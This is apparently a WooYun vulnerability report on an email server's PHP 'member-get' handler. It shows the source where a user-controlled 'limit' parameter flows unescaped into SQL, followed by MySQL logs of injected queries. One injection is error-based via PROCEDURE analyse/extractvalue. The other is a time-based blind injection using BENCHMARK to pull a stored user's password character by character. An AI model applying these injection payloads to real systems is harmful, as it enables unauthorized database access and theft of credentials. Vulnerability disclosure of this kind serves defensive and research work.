WooYun.org

if ( ACTION == "member-get" )
{
		$dept_id = gss( $_GET['dept_id'] );
		$keyword = gss( $_GET['keyword'] );
		$page = $_GET['page'] ? gss( $_GET['page'] ) : 1;
		//limit
		$limit = $_GET['limit'] ? gss( $_GET['limit'] ) : 25;//用户可控的变量
		$orderby = gss( $_GET['orderby'] );
		$is_reverse = gss( $_GET['is_reverse'] );
		$data_cache = $Department->getDepartmentByDomainID( $domain_id, "dept_id,name,parent_id,`order`", 0 );
		$department_list = create_array( $data_cache, "dept_id", "name" );
		$where = "";
		if ( $dept_id && $dept_id != "-1" )
		{
				$Tree = $Department->getTreeObject( );
				$Tree->set_data_cache( $data_cache );
				$Tree->sort_data( -1, 1 );
				$dept_ids = $Tree->get_child_id( $dept_id );
				$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
				$where = "t1.UserID IN (".$user_ids.")";
		}
		if ( $keyword )
		{
				if ( $where )
				{
						$where .= " AND ";
				}
				if ( strpos( $keyword, "@" ) )
				{
						$key_tmp = explode( "@", $keyword );
						$keyword = $key_tmp[0];
				}
				$where .= "(t1.FullName LIKE \"%".$keyword."%\" OR t1.Mailbox LIKE \"%".$keyword."%\")";
		}
		switch ( $orderby )
		{
		case "fullname" :
				$orderby = "t1.FullName";
				break;
		case "mailbox" :
				$orderby = "t1.Mailbox";
				break;
		case "sex" :
				$orderby = "t2.sex";
				break;
		case "birthday" :
				$orderby = "t2.birthday";
				break;
		case "mobile" :
				$orderby = "t2.mobil";
				break;
		case "tel" :
				$orderby = "t2.teleextension";
				break;
		case "position" :
				$orderby = "t2.headship";
				break;
		case "group_num" :
				$orderby = "t2.o_group";
				break;
		case "email" :
				$orderby = "t1.Mailbox";
				break;
				$orderby = "";
		}
		$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, $page, $limit, $orderby, $is_reverse, 0 );//进入了函数

150128 21:44:43	 3142 Connect	umail@localhost on 
		 3142 Query	SET NAMES 'UTF8'
		 3142 Init DB	umail
		 3142 Query	SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
		 3142 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
		 3142 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,version())),1)
		 3142 Quit

150128 21:47:16	 3144 Connect	umail@localhost on 
		 3144 Query	SET NAMES 'UTF8'
		 3144 Init DB	umail
		 3144 Query	SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
		 3144 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
		 3144 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
				FROM userlist as t1, mailuserinfo as t2
				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0
				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)